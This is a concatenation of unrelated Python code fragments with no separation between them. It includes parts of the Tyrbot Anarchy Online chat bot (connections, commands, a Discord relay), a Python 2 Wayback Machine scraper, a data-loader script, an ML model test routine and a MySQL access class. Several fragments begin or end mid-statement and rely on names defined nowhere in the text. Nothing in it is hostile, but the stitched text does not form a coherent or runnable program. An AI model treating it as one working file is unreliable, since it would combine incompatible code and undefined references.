"#FFFFFF", ColorSettingType(), "Default blob content color") self.register_packet_handler(server_packets.PrivateMessage.id, self.handle_private_message, priority=40) def check_superadmin(self, char_id): char_name = self.character_service.resolve_char_to_name(char_id) return char_name == self.superadmin def connect(self, config): conn = self.create_conn("main") conn.connect(config.server.host, config.server.port) packet = conn.login(config.username, config.password, config.character) if not packet: self.status = BotStatus.ERROR return False else: self.incoming_queue.put((conn, packet)) self.mass_message_queue = FifoQueue() self.create_conn_thread(conn, self.mass_message_queue) if "slaves" in config: for i, slave in enumerate(config.slaves): conn = self.create_conn("slave" + str(i)) conn.connect(config.server.host, config.server.port) packet = conn.login(slave.username, slave.password, slave.character) if not packet: self.status = BotStatus.ERROR return False else: self.incoming_queue.put((conn, packet)) self.create_conn_thread(conn, self.mass_message_queue) return True def create_conn_thread(self, conn: Conn, mass_message_queue=None): def read_packets(): try: while self.status == BotStatus.RUN: packet = conn.read_packet(1) if packet: self.incoming_queue.put((conn, packet)) while mass_message_queue and not mass_message_queue.empty() and conn.packet_queue.is_empty(): packet = mass_message_queue.get_or_default(block=False) if packet: conn.add_packet_to_queue(packet) except (EOFError, OSError) as e: self.status = BotStatus.ERROR self.logger.error("", e) raise e dthread = threading.Thread(target=read_packets, daemon=True) dthread.start() def create_conn(self, _id): if _id in self.conns: raise Exception(f"A connection with id {_id} already exists") conn = Conn(_id, self.disconnect) self.conns[_id] = conn return conn # passthrough def send_packet(self, packet): self.conns["main"].send_packet(packet) def disconnect(self): # wait for all threads to stop reading packets, then disconnect them all time.sleep(2) for _id, conn in self.conns.items(): conn.disconnect() def run(self): start = time.time() # wait for flood of packets from login to stop sending time_waited = 0 while time_waited < 5: if not self.iterate(1): time_waited += 1 self.logger.info("Login complete (%fs)" % (time.time() - start)) start = time.time() self.event_service.fire_event("connect", None) self.event_service.run_timer_events_at_startup() self.logger.info("Connect events finished (%fs)" % (time.time() - start)) self.ready = True timestamp = int(time.time()) while self.status == BotStatus.RUN: try: timestamp = int(time.time()) self.check_for_timer_events(timestamp) self.iterate() except (EOFError, OSError) as e: raise e except Exception as e: self.logger.error("", e) # run any pending jobs/events self.check_for_timer_events(timestamp + 1) return self.status def check_for_timer_events(self, timestamp): # timer events will execute no more often than once per second if self.last_timer_event < timestamp: self.last_timer_event = timestamp self.job_scheduler.check_for_scheduled_jobs(timestamp) self.event_service.check_for_timer_events(timestamp) def register_packet_handler(self, packet_id: int, handler, priority=50): """ Call during pre_start Args: packet_id: int handler: (conn, packet) -> void priority: int """ if len(inspect.signature(handler).parameters) != 2: raise Exception("Incorrect number of arguments for handler '%s.%s()'" % (handler.__module__, handler.__name__)) handlers = self.packet_handlers.get(packet_id, []) handlers.append(DictObject({"priority": priority, "handler": handler})) self.packet_handlers[packet_id] = sorted(handlers, key=lambda x: x.priority) def remove_packet_handler(self, packet_id, handler): handlers = self.packet_handlers.get(packet_id, []) for h in handlers: if h.handler == handler: handlers.remove(h) def iterate(self, timeout=0.1): conn, packet = self.incoming_queue.get_or_default(block=True, timeout=timeout, default=(None, None)) if packet: if isinstance(packet, server_packets.SystemMessage): packet = self.system_message_ext_msg_handling(packet) elif isinstance(packet, server_packets.PublicChannelMessage): packet = self.public_channel_message_ext_msg_handling(packet) if isinstance(packet, server_packets.BuddyAdded): if packet.char_id == 0: return for handler in self.packet_handlers.get(packet.id, []): handler.handler(conn, packet) self.event_service.fire_event("packet:" + str(packet.id), packet) return packet def public_channel_message_ext_msg_handling(self, packet: server_packets.PublicChannelMessage): msg = packet.message if msg.startswith("~&") and msg.endswith("~"): try: msg = msg[2:-1].encode("utf-8") category_id = self.mmdb_parser.read_base_85(msg[0:5]) instance_id = self.mmdb_parser.read_base_85(msg[5: 10]) template = self.mmdb_parser.get_message_string(category_id, instance_id) params = self.mmdb_parser.parse_params(msg[10:]) packet.extended_message = ExtendedMessage(category_id, instance_id, template, params) except Exception as e: self.logger.error("Error handling extended message for packet: " + str(packet), e) return packet def system_message_ext_msg_handling(self, packet: server_packets.SystemMessage): try: category_id = 20000 instance_id = packet.message_id template = self.mmdb_parser.get_message_string(category_id, instance_id) params = self.mmdb_parser.parse_params(packet.message_args) packet.extended_message = ExtendedMessage(category_id, instance_id, template, params) self.logger.log_chat("SystemMessage", None, packet.extended_message.get_message()) except Exception as e: self.logger.error("Error handling extended message: " + str(packet), e) return packet def send_org_message(self, msg, add_color=True, fire_outgoing_event=True, conn_id="main"): org_channel_id = self.public_channel_service.org_channel_id if org_channel_id is None: self.logger.debug("ignoring message to org channel since the org_channel_id is unknown") else: color = self.setting_service.get("org_channel_color").get_font_color() if add_color else "" pages = self.get_text_pages(msg, self.setting_service.get("org_channel_max_page_length").get_value()) for page in pages: packet = client_packets.PublicChannelMessage(org_channel_id, color + page, "") self.conns[conn_id].add_packet_to_queue(packet) if fire_outgoing_event: self.event_service.fire_event(self.OUTGOING_ORG_MESSAGE_EVENT, DictObject({"org_channel_id": org_channel_id, "message": msg})) def send_private_message(self, char, msg, add_color=True, fire_outgoing_event=True, conn_id="main"): char_id = self.character_service.resolve_char_to_id(char) if char_id is None: self.logger.warning("Could not send message to %s, could not find char id" % char) else: color = self.setting_service.get("private_message_color").get_font_color() if add_color else "" pages = self.get_text_pages(msg, self.setting_service.get("private_message_max_page_length").get_value()) for page in pages: self.logger.log_tell("To", self.character_service.get_char_name(char_id), page) packet = client_packets.PrivateMessage(char_id, color + page, "\0") self.conns[conn_id].add_packet_to_queue(packet) if fire_outgoing_event: self.event_service.fire_event(self.OUTGOING_PRIVATE_MESSAGE_EVENT, DictObject({"char_id": char_id, "message": msg})) def send_private_channel_message(self, msg, private_channel=None, add_color=True, fire_outgoing_event=True, conn_id="main"): if private_channel is None: private_channel_id = self.get_char_id() else: private_channel_id = self.character_service.resolve_char_to_id(private_channel) if private_channel_id is None: self.logger.warning("Could not send message to private channel %s, could not find private channel" % private_channel) else: color = self.setting_service.get("private_channel_color").get_font_color() if add_color else "" pages = self.get_text_pages(msg, self.setting_service.get("private_channel_max_page_length").get_value()) for page in pages: packet = client_packets.PrivateChannelMessage(private_channel_id, color + page, "\0") self.conns[conn_id].send_packet(packet) if fire_outgoing_event and private_channel_id == self.get_char_id(): self.event_service.fire_event(self.OUTGOING_PRIVATE_CHANNEL_MESSAGE_EVENT, DictObject({"private_channel_id": private_channel_id, "message": msg})) def send_mass_message(self, char_id, msg, add_color=True): if not char_id: self.logger.warning("Could not send message to empty char_id") else: color = self.setting_service.get("private_message_color").get_font_color() if add_color else "" pages = self.get_text_pages(msg, self.setting_service.get("private_message_max_page_length").get_value()) for page in pages: # self.logger.log_tell("To", self.character_service.get_char_name(char_id), page) if self.mass_message_queue: packet = client_packets.PrivateMessage(char_id, color + page, "\0") self.mass_message_queue.put(packet) else: packet = client_packets.PrivateMessage(char_id, color + page, "spam") self.conns["main"].send_packet(packet) def handle_private_message(self, conn: Conn, packet: server_packets.PrivateMessage): if conn.id != "main": return self.logger.log_tell("From", self.character_service.get_char_name(packet.char_id), packet.message) self.event_service.fire_event(self.PRIVATE_MSG_EVENT, packet) def get_text_pages(self, msg, max_page_length): if isinstance(msg, ChatBlob): return self.text.paginate(msg, max_page_length=max_page_length) else: return [self.text.format_message(msg)] def is_ready(self): return self.ready def shutdown(self): self.status = BotStatus.SHUTDOWN def restart(self): self.status = BotStatus.RESTART def load_sql_files(self, paths): dirs = flatmap(lambda x: os.walk(x), paths) dirs = filter(lambda y: not y[0].endswith("__pycache__"), dirs) def get_files(tup): return map(lambda x: os.path.join(tup[0], x), tup[2]) # get files from subdirectories files = flatmap(get_files, dirs) files = filter(lambda z: z.endswith(".sql"), files) base_path = os.getcwd() for file in files: self.db.load_sql_file(file, base_path) def get_char_name(self): return self.conns["main"].char_name def get_char_id(self): return self.conns["main"].char_id
import json from core.archivedotcom import ArchiveDotOrg import os import errno URL = 'http://web.archive.org/web/*/http://o-review.com/images//*' URL2 = 'http://web.archive.org/cdx/search?url=http%3A%2F%2Fo-review.com%2Fimages%2F%2F&matchType=prefix&collapse=urlkey&output=json&fl=original%2Cmimetype%2Ctimestamp%2Cendtimestamp%2Cgroupcount%2Cuniqcount&filter=!statuscode%3A%5B45%5D..&_=1497711743092' settings.LOGGING_FILENAME = 'wayback_images' logger = Logger('data_loader').get() try: response = urllib2.urlopen(URL2) except urllib2.HTTPError, e: logger.info("Failed to open URL [{}]: [{}]".format(URL2, e)) # return None html_doc = response.read() # print html_doc json_data = json.loads(html_doc) print len(json_data) print(json_data[0]) # d = json_data[15000] # print json_data[1] wayback = ArchiveDotOrg() #
args = parser.parse_args() loader_mode = Mode[args.mode] process_family = '' settings.LOGGING_FILENAME = 'data_loader' reverse = args.reverse if args.family is not None: process_family = args.family if args.logfile is not None: settings.LOGGING_FILENAME = args.logfile.replace('.log', '') logger = Logger('data_loader').get() logger.info('Starting data_loader...') logger.info('Running with the following args: [{}]'.format(args)) logger.info('===============================') logger.info('Setting up connection pool...') cnx_pool = ConnectionPool(settings.db_config) logger.info('Creating data loader with data loader name [{}]'.format( loaderfactory.OREVIEWV1_LOADER)) data_loader = loaderfactory.get_loader(loaderfactory.OREVIEWV1_LOADER) process = True if loader_mode == Mode.lenstypes: logger.info('Processing Lens types') logger.info('Creating data access layer...')
def test(config_filename): # configuration config = Config() config_file = "{}/{}".format(config.config_dir, config_filename) config.update_config(config_file) # logger log_file = "{}/test_{}.txt".format(config.log_dir, config.config_name) logger = Logger(log_file) # word embedding logger.info("setting word embedding...") word_embedding = Embedding() word_embedding_file = "{}/word_embedding_{}.pkl".format( config.cache_dir, config.config_name) logger.info( "loading word embedding from {}...".format(word_embedding_file)) word_embedding.load_word_embedding(word_embedding_file) logger.info("vocab_size: {}".format(word_embedding.vocab_size)) logger.info("word_dim : {}".format(word_embedding.word_dim)) # testing dataset logger.info("setting testing dataset...") test_dataset = Dataset(config.data_config) test_dataset.set_word_to_index(word_embedding.word2index) label_mapping_file = "{}/label_mapping_{}.pkl".format( config.cache_dir, config.config_name) logger.info("loading label mapping from {}...".format(label_mapping_file)) test_dataset.load_label_mapping(label_mapping_file) test_data_file = "{}/{}".format(config.data_dir, config.test_data_file) logger.info("loading data from {}...".format(test_data_file)) test_dataset.load_data_from_file(test_data_file) logger.info("number of samples: {}".format(test_dataset.num_samples)) logger.info("processing data...") test_dataset.process_data_from_file() # model new_model_config = { "vocab_size": word_embedding.vocab_size, "word_dim": word_embedding.word_dim, "document_length": test_dataset.document_length, "sentence_length": test_dataset.sentence_length, "num_labels": test_dataset.num_labels } config.update_model_config(new_model_config) model = Model(config.model_config) # metric metric = Metric() # test configuration logger.info("configuration: {}".format(config)) # data loader test_data_loader = DataLoader(test_dataset, batch_size=config.batch_size, shuffle=False) # model factory network = Factory(model) network.set_test_module() logger.info("number of GPUs: {}".format(network.num_gpus)) logger.info("device: {}".format(network.device)) # load model model_file = "{}/model_{}.pkl".format(config.cache_dir, config.config_name) logger.info("loading model from {}...".format(model_file)) network.load_model(model_file) network.model_to_device() # test network.eval_mode() test_preds = np.zeros([0, test_dataset.num_labels], dtype=np.int) test_labels = np.zeros([0, test_dataset.num_labels], dtype=np.int) for batch, data in enumerate(test_data_loader): sequences_ttl, sequences_cnt, labels = data preds = network.test(sequences_ttl, sequences_cnt) test_preds = np.concatenate((test_preds, preds), axis=0) test_labels = np.concatenate( (test_labels, labels.numpy().astype(np.int)), axis=0) # metrics ac, mp, mr, mf = metric.all_metrics(test_preds, test_labels) logger.info("Acc: {:.4f}".format(ac)) logger.info("MP : {:.4f}".format(mp)) logger.info("MR : {:.4f}".format(mr)) logger.info("MF : {:.4f}".format(mf))
from core import config_creator from core.dict_object import DictObject from core.logger import Logger from core.aochat.mmdb_parser import MMDBParser import hjson import time import os try: # load logging configuration import conf.logging Registry.logger = Logger("core.registry") logger = Logger("core.bootstrap") logger.info("Starting Tyrbot...") config_file = "./conf/config.hjson" # start config wizard if config file does not exist if not os.path.exists(config_file): config_creator.create_new_cfg(config_file, "./conf/config.template.hjson") # load config logger.debug("Reading config file '%s'" % config_file) with open(config_file, "r") as cfg: config = DictObject(hjson.load(cfg)) # paths to search for instances: core + module_paths paths = ["core"] paths.extend(config.module_paths)
class ModelDal(object): def __init__(self, connection_pool): self.logger = Logger(self.__class__.__name__).get() self.connection_pool = connection_pool def model_exists(self, model): ret_model = self.get_model(model['style'], model['name'], model['sku']) exists = False if ret_model is not None and 'name' in ret_model and model[ 'name'] == ret_model['name']: exists = True return exists def get_model(self, style_name, model_name, sku): query = ( "SELECT m.id, m.name, m.sku, m.listprice, m.url FROM model m JOIN style s on m.styleid = s.id " "WHERE s.name = %s " "AND m.name = %s " "AND m.sku = %s " "AND m.validfrom < %s " "AND ((m.validto = 0) OR (m.validto >= %s))") now = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime()) cnx = self.connection_pool.get_connection() cursor = cnx.cursor() data = (style_name, model_name, sku, now, now) self.logger.debug("Getting model with query [%s] and data [%s]", query, data) cursor.execute(query, data) model = None for (m_id, m_name, m_sku, m_listprice, m_url) in cursor: if m_name == model_name and sku == m_sku: model = { 'id': m_id, 'name': m_name, 'sku': m_sku, 'listprice': m_listprice, 'url': m_url } cursor.close() self.connection_pool.release_connection(cnx) return model def get_model_id(self, style_id, model_name, sku): query = ("SELECT id, name, sku FROM model " "WHERE name = %s " "AND styleid = %s " "AND sku = %s " "AND validfrom < %s " "AND ((validto = 0) OR (validto >= %s))") now = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime()) cnx = self.connection_pool.get_connection() cursor = cnx.cursor() data = (model_name, style_id, sku, now, now) self.logger.debug("Getting model id with query [%s] and data [%s]", query, data) cursor.execute(query, data) model_id = -1 for (m_id, m_name, m_sku) in cursor: if m_name == model_name and sku == m_sku: model_id = m_id cursor.close() self.connection_pool.release_connection(cnx) return model_id def get_last_model_id(self): model_query = ("SELECT MAX(id) FROM model") cnx = self.connection_pool.get_connection() cursor = cnx.cursor() cursor.execute(model_query) ret_id = -1 for c_id in cursor: if c_id is not None and c_id[0] is not None: ret_id = int(c_id[0]) cursor.close() self.connection_pool.release_connection(cnx) return ret_id def get_fit_id(self, fit): query = "SELECT id, name FROM fit WHERE name = %s" cnx = self.connection_pool.get_connection() cursor = cnx.cursor() data = (fit, ) cursor.execute(query, data) ret_id = -1 for c_id, c_name in cursor: if c_name == fit: ret_id = c_id cursor.close() self.connection_pool.release_connection(cnx) return ret_id #style_id, model_name, model_sku, model_framecolour, model_lens, fit_id, model_listprice, model_url def insert_model(self, model, style_id, lens_id, fit_id, source_id): query = ( "INSERT INTO model " "(name, styleid, sku, listprice, url, framecolour, lensid, fitid, sourceid, validfrom) " "VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)") now = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime()) cnx = self.connection_pool.get_connection() cursor = cnx.cursor() data = (model['name'], style_id, model['sku'], model['listprice'], model['url'], model['frame'], lens_id, fit_id, source_id, now) self.logger.debug("Inserting model with query [%s] and data [%s]", query, data) cursor.execute(query, data) cnx.commit() model_id = int(cursor.lastrowid) cursor.close() self.connection_pool.release_connection(cnx) # model_id = self.get_model_id(style_id, model['name'], model['sku']) return model_id def update_model(self, model, style_id, source_id): query = "UPDATE model SET " data = [] continu = False if 'releasedate' in model and model['releasedate'] is not None: query += "releasedate=%s, " data.append(model['releasedate']) continu = True if 'retiredate' in model and model['retiredate'] is not None: query += "retiredate=%s, " data.append(model['retiredate']) continu = True if 'image' in model and model['image'] is not None: query += "image=%s, " data.append(model['image']) continu = True if 'imagesmall' in model and model['imagesmall'] is not None: query += "imagesmall=%s, " data.append(model['imagesmall']) continu = True if 'note' in model and model['note'] is not None: query += "note=%s, " data.append(model['note']) continu = True if 'signature' in model and model['signature'] is not None: query += "signature=%s, " data.append(model['signature']) continu = True if 'exclusive' in model and model['exclusive'] is not None: query += "exclusive=%s, " data.append(model['exclusive']) continu = True if 'upc' in model and model['upc'] is not None: query += "upc=%s " data.append(model['upc']) continu = True # no count? just return if not continu: return query = query.rstrip(' ,') # TODO: deal with valid froms etc query += " WHERE name=%s AND sku=%s AND styleid=%s" data.append(model['name']) data.append(model['sku']) data.append(style_id) cnx = self.connection_pool.get_connection() cursor = cnx.cursor() self.logger.info("Updating model with query [%s] and data [%s]", query, data) cursor.execute(query, data) cnx.commit() cursor.close() self.connection_pool.release_connection(cnx) return
class CommandService: PRIVATE_CHANNEL = "priv" ORG_CHANNEL = "org" PRIVATE_MESSAGE = "msg" def __init__(self): self.handlers = collections.defaultdict(list) self.logger = Logger(__name__) self.channels = {} self.ignore_regexes = [ re.compile(" is AFK \(Away from keyboard\) since ", re.IGNORECASE), re.compile("I am away from my keyboard right now", re.IGNORECASE), re.compile("Unknown command or access denied!", re.IGNORECASE), re.compile("I am responding", re.IGNORECASE), re.compile("I only listen", re.IGNORECASE), re.compile("Error!", re.IGNORECASE), re.compile("Unknown command input", re.IGNORECASE), re.compile("You have been auto invited", re.IGNORECASE), ] def inject(self, registry): self.db = registry.get_instance("db") self.util = registry.get_instance("util") self.access_service: AccessService = registry.get_instance( "access_service") self.bot: Tyrbot = registry.get_instance("bot") self.character_service: CharacterService = registry.get_instance( "character_service") self.setting_service: SettingService = registry.get_instance( "setting_service") self.command_alias_service = registry.get_instance( "command_alias_service") self.usage_service = registry.get_instance("usage_service") self.public_channel_service = registry.get_instance( "public_channel_service") self.ban_service = registry.get_instance("ban_service") def pre_start(self): self.bot.add_packet_handler(server_packets.PrivateMessage.id, self.handle_private_message) self.bot.add_packet_handler(server_packets.PrivateChannelMessage.id, self.handle_private_channel_message) self.bot.add_packet_handler(server_packets.PublicChannelMessage.id, self.handle_public_channel_message) self.register_command_channel("Private Message", self.PRIVATE_MESSAGE) self.register_command_channel("Org Channel", self.ORG_CHANNEL) self.register_command_channel("Private Channel", self.PRIVATE_CHANNEL) def start(self): # process decorators for _, inst in Registry.get_all_instances().items(): for name, method in get_attrs(inst).items(): if hasattr(method, "command"): cmd_name, params, access_level, description, help_file, sub_command, extended_description, check_access, aliases = getattr( method, "command") handler = getattr(inst, name) module = self.util.get_module_name(handler) help_text = self.get_help_file(module, help_file) self.register(handler, cmd_name, params, access_level, description, module, help_text, sub_command, extended_description, check_access) if len(inspect.signature( handler).parameters) != len(params) + 1: raise Exception( "Incorrect number of arguments for handler '%s.%s()'" % (handler.__module__, handler.__name__)) if aliases: for alias in aliases: self.command_alias_service.add_alias( alias, cmd_name) def register(self, handler, command, params, access_level, description, module, help_text=None, sub_command=None, extended_description=None, check_access=None): command = command.lower() if sub_command: sub_command = sub_command.lower() else: sub_command = "" access_level = access_level.lower() module = module.lower() command_key = self.get_command_key(command, sub_command) if help_text is None: help_text = self.generate_help(command, description, params, extended_description) if check_access is None: check_access = self.access_service.check_access if not self.access_service.get_access_level_by_label(access_level): self.logger.error( "Could not add command '%s': could not find access level '%s'" % (command, access_level)) return for channel, label in self.channels.items(): row = self.db.query_single( "SELECT access_level, module, enabled, verified " "FROM command_config " "WHERE command = ? AND sub_command = ? AND channel = ?", [command, sub_command, channel]) if row is None: # add new command commands self.db.exec( "INSERT INTO command_config " "(command, sub_command, access_level, channel, module, enabled, verified) " "VALUES (?, ?, ?, ?, ?, 1, 1)", [command, sub_command, access_level, channel, module]) elif row.verified: if row.module != module: self.logger.warning( "module different for different forms of command '%s' and sub_command '%s'" % (command, sub_command)) else: # mark command as verified self.db.exec( "UPDATE command_config SET verified = 1, module = ? " "WHERE command = ? AND sub_command = ? AND channel = ?", [module, command, sub_command, channel]) # save reference to command handler r = re.compile(self.get_regex_from_params(params), re.IGNORECASE | re.DOTALL) self.handlers[command_key].append({ "regex": r, "callback": handler, "help": help_text, "description": description, "params": params, "check_access": check_access }) def register_command_channel(self, label, value): if value in self.channels: self.logger.error( "Could not register command channel '%s': command channel already registered" % value) return self.logger.debug("Registering command channel '%s'" % value) self.channels[value] = label def is_command_channel(self, channel): return channel in self.channels def process_command(self, message: str, channel: str, char_id, reply): try: if self.ban_service.get_ban(char_id): # do nothing if character is banned self.logger.info( "ignored banned character %d for command '%s'" % (char_id, message)) return message = html.unescape(message) command_str, command_args = self.get_command_parts(message) # check for command alias command_alias = self.command_alias_service.check_for_alias( command_str) if command_alias: command_str, command_args = self.get_command_parts( command_alias + command_args) cmd_configs = self.get_command_configs(command_str, channel, 1) if cmd_configs: # given a list of cmd_configs that are enabled, see if one has regex that matches incoming command_str cmd_config, matches, handler = self.get_matches( cmd_configs, command_args) if matches: if handler["check_access"](char_id, cmd_config.access_level): sender = SenderObj( char_id, self.character_service.resolve_char_to_name( char_id, "Unknown(%d)" % char_id)) response = handler["callback"]( CommandRequest(channel, sender, reply), *self.process_matches(matches, handler["params"])) if response is not None: reply(response) # record command usage self.usage_service.add_usage( command_str, handler["callback"].__qualname__, char_id, channel) else: self.access_denied_response(char_id, cmd_config, reply) else: # handlers were found, but no handler regex matched help_text = self.get_help_text(char_id, command_str, channel) if help_text: reply(self.format_help_text(command_str, help_text)) else: reply("Error! Invalid syntax.") else: reply("Error! Unknown command <highlight>%s<end>." % command_str) except Exception as e: self.logger.error("error processing command: %s" % message, e) reply("There was an error processing your request.") def access_denied_response(self, char_id, cmd_config, reply): reply("Error! Access denied.") def get_command_parts(self, message): parts = message.split(" ", 1) if len(parts) == 2: return parts[0].lower(), " " + parts[1] else: return parts[0].lower(), "" def get_command_configs(self, command, channel=None, enabled=1, sub_command=None): sql = "SELECT command, sub_command, access_level, enabled FROM command_config WHERE command = ?" params = [command] if channel: sql += " AND channel = ?" params.append(channel) if enabled: sql += " AND enabled = ?" params.append(enabled) if sub_command: sql += " AND sub_command = ?" params.append(sub_command) sql += " ORDER BY sub_command, channel" return self.db.query(sql, params) def get_matches(self, cmd_configs, command_args): for row in cmd_configs: command_key = self.get_command_key(row.command, row.sub_command) handlers = self.handlers[command_key] for handler in handlers: # add leading space to search string to normalize input for command params matches = handler["regex"].search(command_args) if matches: return row, matches, handler return None, None, None def process_matches(self, matches, params): groups = list(matches.groups()) processed = [] for param in params: processed.append(param.process_matches(groups)) return processed def get_help_text(self, char, command_str, channel): data = self.db.query( "SELECT command, sub_command, access_level FROM command_config " "WHERE command = ? AND channel = ? AND enabled = 1", [command_str, channel]) # filter out commands that character does not have access level for data = filter( lambda row: self.access_service.check_access( char, row.access_level), data) def read_help_text(row): command_key = self.get_command_key(row.command, row.sub_command) return filter( lambda x: x is not None, map(lambda handler: handler["help"], self.handlers[command_key])) content = "\n\n".join(flatmap(read_help_text, data)) return content if content else None def format_help_text(self, topic, help_text): return ChatBlob("Help (" + topic + ")", help_text) def get_help_file(self, module, help_file): if help_file: try: help_file = "./" + module.replace(".", "/") + "/" + help_file with open(help_file) as f: return f.read().strip() except FileNotFoundError as e: self.logger.error("Error reading help file", e) return None def get_command_key(self, command, sub_command): if sub_command: return command + ":" + sub_command else: return command def get_command_key_parts(self, command_str): parts = command_str.split(":", 1) if len(parts) == 2: return parts[0], parts[1] else: return parts[0], "" def get_regex_from_params(self, params): # params must be wrapped with line-beginning and line-ending anchors in order to match # when no params are specified (eg. "^$") return "^" + "".join(map(lambda x: x.get_regex(), params)) + "$" def generate_help(self, command, description, params, extended_description=None): help_text = description + ":\n" + "<tab><symbol>" + command + " " + " ".join( map(lambda x: x.get_name(), params)) if extended_description: help_text += "\n" + extended_description return help_text def get_handlers(self, command_key): return self.handlers.get(command_key, None) def handle_private_message(self, packet: server_packets.PrivateMessage): # since the command symbol is not required for private messages, # the command_str must have length of at least 1 in order to be valid, # otherwise it is ignored if len(packet.message) < 1: return for regex in self.ignore_regexes: if regex.search(packet.message): return if packet.message[:1] == self.setting_service.get( "symbol").get_value(): command_str = packet.message[1:] else: command_str = packet.message self.process_command( command_str, self.PRIVATE_MESSAGE, packet.char_id, lambda msg: self.bot.send_private_message(packet.char_id, msg)) def handle_private_channel_message( self, packet: server_packets.PrivateChannelMessage): # since the command symbol is required in the private channel, # the command_str must have length of at least 2 in order to be valid, # otherwise it is ignored if len(packet.message) < 2: return symbol = packet.message[:1] command_str = packet.message[1:] if symbol == self.setting_service.get("symbol").get_value( ) and packet.private_channel_id == self.bot.char_id: self.process_command( command_str, self.PRIVATE_CHANNEL, packet.char_id, lambda msg: self.bot.send_private_channel_message(msg)) def handle_public_channel_message( self, packet: server_packets.PublicChannelMessage): # since the command symbol is required in the org channel, # the command_str must have length of at least 2 in order to be valid, # otherwise it is ignored if len(packet.message) < 2: return symbol = packet.message[:1] command_str = packet.message[1:] if symbol == self.setting_service.get("symbol").get_value( ) and self.public_channel_service.is_org_channel_id(packet.channel_id): self.process_command(command_str, self.ORG_CHANNEL, packet.char_id, lambda msg: self.bot.send_org_message(msg))
class DiscordController: MESSAGE_SOURCE = "discord" COMMAND_CHANNEL = "discord" def __init__(self): self.dthread = None self.dqueue = [] self.aoqueue = [] self.logger = Logger(__name__) self.client = None self.command_handlers = [] def inject(self, registry): self.bot = registry.get_instance("bot") self.db = registry.get_instance("db") self.util = registry.get_instance("util") self.setting_service = registry.get_instance("setting_service") self.event_service = registry.get_instance("event_service") self.character_service: CharacterService = registry.get_instance( "character_service") self.text: Text = registry.get_instance("text") self.command_service = registry.get_instance("command_service") self.ban_service = registry.get_instance("ban_service") self.message_hub_service = registry.get_instance("message_hub_service") self.pork_service = registry.get_instance("pork_service") self.alts_service = registry.get_instance("alts_service") self.ts: TranslationService = registry.get_instance( "translation_service") self.getresp = self.ts.get_response def pre_start(self): self.event_service.register_event_type("discord_ready") self.event_service.register_event_type("discord_message") self.event_service.register_event_type("discord_channels") self.event_service.register_event_type("discord_command") self.event_service.register_event_type("discord_invites") self.message_hub_service.register_message_source(self.MESSAGE_SOURCE) self.command_service.register_command_channel("Discord", self.COMMAND_CHANNEL) def start(self): self.db.exec( "CREATE TABLE IF NOT EXISTS discord_char_link (discord_id BIGINT NOT NULL, char_id INT NOT NULL)" ) self.message_hub_service.register_message_destination( self.MESSAGE_SOURCE, self.handle_incoming_relay_message, [ "private_channel", "org_channel", "websocket_relay", "tell_relay", "shutdown_notice" ], [self.MESSAGE_SOURCE]) self.register_discord_command_handler( self.discord_link_cmd, "discord", [Const("link"), Character("ao_character")]) self.register_discord_command_handler(self.discord_unlink_cmd, "discord", [Const("unlink")]) self.ts.register_translation("module/discord", self.load_discord_msg) self.setting_service.register(self.module_name, "discord_enabled", False, BooleanSettingType(), "Enable the Discord relay") self.setting_service.register(self.module_name, "discord_bot_token", "", HiddenSettingType(allow_empty=True), "Discord bot token") self.setting_service.register( self.module_name, "discord_channel_id", "", TextSettingType(allow_empty=True), "Discord channel id for relaying messages to and from", "You can get the Discord channel ID by right-clicking on a channel name in Discord and then clicking \"Copy ID\"" ) self.setting_service.register(self.module_name, "discord_embed_color", "#00FF00", ColorSettingType(), "Discord embedded message color") self.setting_service.register( self.module_name, "relay_color_prefix", "#FCA712", ColorSettingType(), "Set the prefix color for messages coming from Discord") self.setting_service.register( self.module_name, "relay_color_name", "#808080", ColorSettingType(), "Set the color of the name for messages coming from Discord") self.setting_service.register( self.module_name, "relay_color_message", "#00DE42", ColorSettingType(), "Set the color of the content for messages coming from Discord") self.setting_service.register_change_listener( "discord_channel_id", self.update_discord_channel) self.setting_service.register_change_listener( "discord_enabled", self.update_discord_state) def load_discord_msg(self): with open("modules/standard/discord/discord.msg", mode="r", encoding="utf-8") as f: return hjson.load(f) @command(command="discord", params=[], access_level="member", description="See Discord info") def discord_cmd(self, request): servers = "" if self.client and self.client.guilds: for server in self.client.guilds: invites = self.text.make_tellcmd( self.getresp("module/discord", "get_invite"), "discord getinvite %s" % server.id) owner = server.owner.nick or re.sub( pattern=r"#\d+", repl="", string=str(server.owner)) servers += self.getresp( "module/discord", "server", { "server_name": server.name, "invite": invites, "m_count": str(len(server.members)), "owner": owner }) else: servers += self.getresp("module/discord", "no_server") subs = "" for channel in self.get_text_channels(): subs += self.getresp("module/discord", "sub", { "server_name": channel.guild.name, "channel_name": channel.name }) status = self.getresp( "module/discord", "connected" if self.is_connected() else "disconnected") blob = self.getresp( "module/discord", "blob", { "connected": status, "count": len(self.get_text_channels()), "servers": servers, "subs": subs }) return ChatBlob(self.getresp("module/discord", "title"), blob) @command(command="discord", params=[Const("relay")], access_level="moderator", sub_command="manage", description="Setup relaying of channels") def discord_relay_cmd(self, request, _): connect_link = self.text.make_tellcmd( self.getresp("module/discord", "connect"), "config setting discord_enabled set true") disconnect_link = self.text.make_tellcmd( self.getresp("module/discord", "disconnect"), "config setting discord_enabled set false") constatus = self.getresp( "module/discord", "connected" if self.is_connected() else "disconnected") subs = "" for channel in self.get_text_channels(): select_link = self.text.make_tellcmd( "select", "config setting discord_channel_id set %s" % channel.id) selected = "(selected)" if self.setting_service.get( "discord_channel_id").get_value() == channel.id else "" subs += self.getresp( "module/discord", "relay", { "server_name": channel.guild.name, "channel_name": channel.name, "select": select_link, "selected": selected }) blob = self.getresp( "module/discord", "blob_relay", { "connected": constatus, "connect_link": connect_link, "disconnect_link": disconnect_link, "count": len(self.get_text_channels()), "subs": subs }) return ChatBlob(self.getresp("module/discord", "relay_title"), blob) @command(command="discord", params=[Const("confirm"), Int("discord_id")], access_level="member", description="Confirm link of a Discord user") def discord_confirm_cmd(self, request, _, discord_id): main = self.alts_service.get_main(request.sender.char_id) if main.char_id != request.sender.char_id: return self.getresp("module/discord", "must_run_from_main", {"char": main.name}) self.db.exec( "DELETE FROM discord_char_link WHERE discord_id = ? OR char_id = ?", [discord_id, main.char_id]) self.db.exec( "INSERT INTO discord_char_link (discord_id, char_id) VALUES (?, ?)", [discord_id, main.char_id]) return self.getresp("module/discord", "link_success", {"discord_user": discord_id}) @command(command="discord", params=[Const("getinvite"), 